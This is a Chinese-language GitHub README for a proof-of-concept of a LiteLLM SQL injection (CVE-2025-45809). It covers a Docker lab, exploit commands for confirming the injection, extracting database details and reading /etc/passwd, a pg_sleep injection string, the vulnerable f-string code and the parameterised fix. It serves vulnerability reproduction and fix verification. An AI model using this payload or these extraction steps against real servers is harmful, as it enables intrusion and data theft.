learner202649/CVE-2025-45809-PoC

GitHub: learner202649/CVE-2025-45809-PoC

一个针对LiteLLM SQL注入漏洞CVE-2025-45809的PoC代码,用于复现漏洞并辅助安全测试与修复验证。

Stars: 0 | Forks: 0

# CVE-2025-45809 — LiteLLM 通过 `/key/block` 端点发生的 SQL 注入(基于时间的盲注) | 字段 | 值 | |------|------| | **CVE** | **CVE-2025-45809** | | **GHSA** | GHSA-cgmh-xxmq-hp46 | | **CVSS v3.1** | **5.4 (中危)** — `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` | | **CWE** | CWE-89 (SQL注入) | | **受影响版本** | LiteLLM **< 1.81.0**(已在 v1.65.4 中确认) | | **修复版本** | **v1.81.0+**(通过参数化查询修复) | | **发布日期** | 2025-07-03 | | **发现者** | shadia0 (通过 Huntr 赏金计划) | | **相关链接** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-45809) • [Huntr](https://huntr.com/bounties/3e6e4d40-b06a-4f54-a3ed-cc93584b12f3) • [Snyk](https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-10598343) | ## 漏洞描述 LiteLLM 的 `/key/block` 和 `/key/unblock` 端点用于管理 API 密钥的封禁/解封。 这两个端点在处理 `key` 参数时,直接将用户输入拼接到 SQL 查询字符串中(使用 f-string 格式化),**没有使用参数化查询**,导致 SQL 注入漏洞。 ### 漏洞端点 | 端点 | 方法 | 注入参数 | |------|------|----------| | `/key/block` | POST | `key` (JSON body) | | `/key/unblock` | POST | `key` (JSON body) | ### 攻击向量 - **基于时间的盲注**:利用 PostgreSQL 的 `pg_sleep()` 函数,通过响应时间差确认注入 - **数据窃取**:通过条件时间查询逐字符提取数据库内容 - **文件读取**:利用 PostgreSQL 的 `pg_read_file()` 函数读取服务器文件 ## 漏洞验证(PoC) ### 快速开始(Docker) ``` # 1. 启动 PostgreSQL + 脆弱版 LiteLLM docker compose up -d # 2. 安装依赖 pip install -r requirements.txt # 3. 确认 SQL 注入(检测 pg_sleep 延时) python3 exploit/exploit.py --mode check --target http://localhost:4000 ``` # 4. 提取数据库当前用户 python3 exploit/exploit.py --mode extract-user --target http://localhost:4000 # 5. 提取 PostgreSQL 版本 python3 exploit/exploit.py --mode extract-version --target http://localhost:4000 # 6. 尝试读取 /etc/passwd python3 exploit/exploit.py --mode file-read --target http://localhost:4000 # 7. (可选)验证修复版本 docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed ``` ### 预期输出 **注入确认 (--mode check):** ``` # 技术细节 [存在漏洞] CVE-2025-45809 — SQL 注入确认 目标 : http://localhost:4000 端点 : /key/block [*] 步骤 1: 测量基准响应时间... 基准时间: 0.01秒 (HTTP 401) [*] 步骤 2: 测试基本注入(SQL 注释)... 注释测试: 0.00秒 (HTTP 200) [*] 步骤 3: 测试 pg_sleep(3) 注入... pg_sleep(3): 3.01秒 (N/A) [*] 步骤 4: 测试 pg_sleep(5) 注入... pg_sleep(5): 5.01秒 (N/A) [*] 分析: 基准时间: 0.01秒 pg_sleep(3): 3.01秒 (预期约3秒) pg_sleep(5): 5.01秒 (预期约5秒) [🔥] 漏洞确认!pg_sleep() 注入成功! 响应时间从 0.01秒 增加到 5.01秒 ``` **修复版本拒绝注入:** ``` # API 文档 [已修复] CVE-2025-45809 — SQL 注入确认 目标 : http://localhost:4001 端点 : /key/block [*] 步骤 1: 测量基准响应时间... 基准时间: 0.00秒 (HTTP 400) [*] 步骤 2: 测试基本注入(SQL 注释)... 注释测试: 0.00秒 (HTTP N/A) [*] 步骤 3: 测试 pg_sleep(3) 注入... pg_sleep(3): 0.00秒 (N/A) [*] 步骤 4: 测试 pg_sleep(5) 注入... pg_sleep(5): 0.00秒 (N/A) [*] 分析: 基准时间: 0.00秒 pg_sleep(3): 0.00秒 (预期约3秒) pg_sleep(5): 0.00秒 (预期约5秒) [+] 修复版本: 未检测到时间延迟(符合预期)。 ``` --- ## 配置指南 ### 漏洞代码 在 LiteLLM v1.65.4 中,`/key/block` 端点的处理逻辑类似如下(简化版): ```python # 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL @app.post("/key/block") async def block_key(key_data: dict, user_api_key_dict=Depends(...)): key = key_data.get("key", "") # 直接拼接用户输入到 SQL 查询中! query = f"UPDATE keys SET blocked=true WHERE key='{key}'" await database.execute(query) return {"status": "success"} ``` ### 注入原理 攻击者在 `key` 参数中注入 PostgreSQL 的时间延迟函数: ``` ' OR (SELECT pg_sleep(5)) IS NULL -- ``` 拼接后的 SQL 变为: ``` UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --' ``` ### 时间差对比 | 测试场景 | 响应时间 | 结论 | |----------|----------|------| | 正常请求 (key=test) | ~0.01秒 | 基线 | | pg_sleep(3) | ~3.01秒 | 注入生效 | | pg_sleep(5) | ~5.01秒 | 注入确认 | ### 前置条件:数据库表初始化 LiteLLM v1.65.4 使用 Prisma ORM 管理数据库。`Key` 表采用**懒创建**策略——在首次调用 `/key/generate` 创建 API key 之前,`Key` 表在 PostgreSQL 中尚不存在。这导致 `/key/block` 端点的 key 校验查询(`WHERE key='{input}'`)在执行到存在注入漏洞的 SQL 代码路径之前即因表不存在而返回 401。 **当前 PoC 已自动处理此问题**:exploit 脚本在发送注入 payload 之前,会先调用 `/key/generate` 创建一个 API key,确保数据库表就绪。 ## 环境配置 ``` CVE-2025-45809/ ├── README.md # This file ├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM ├── litellm_config.yaml # LiteLLM config with DB connection ├── requirements.txt # Python dependencies ├── litellm-vuln/ │ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs ├── exploit/ │ ├── exploit.py # Main exploit script │ └── payload.py # SQL injection payload builder ├── docs/ │ └── advisory.md └── screenshots/ └── README.md ``` ## 修复方案 在 v1.81.0 中修复,改用**参数化查询**(Prepared Statements)替代 f-string 拼接: ``` # 修复后 — 使用参数化查询 query = "UPDATE keys SET blocked=true WHERE key=:key" await database.execute(query, {"key": key}) # 参数安全绑定 ``` ### 缓解措施 1. **升级** LiteLLM 到 **v1.81.0+** 2. 使用 **参数化查询** 替代字符串拼接 3. 对 `key` 参数实施严格的输入验证 4. 部署 WAF 拦截 SQL 注入模式 ## 参考资料 - [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-45809) - [Huntr 赏金计划](https://huntr.com/bounties/3e6e4d40-b06a-4f54-a3ed-cc93584b12f3) - [Snyk 安全公告](https://security.snyk.io/vuln/SNYK-PYTHON-LITELLM-10598343) - [GitHub PoC (shadia0/Patienc)](https://github.com/shadia0/Patienc/blob/main/litellm/SQL_injection.md)
标签:API安全, CISA项目, CVE-2025-45809, Docker, JSON输出, LiteLLM, PostgreSQL, Python, Web安全, 代码复现, 安全测试, 安全防御评估, 攻击性安全, 无后门, 时间盲注, 测试用例, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护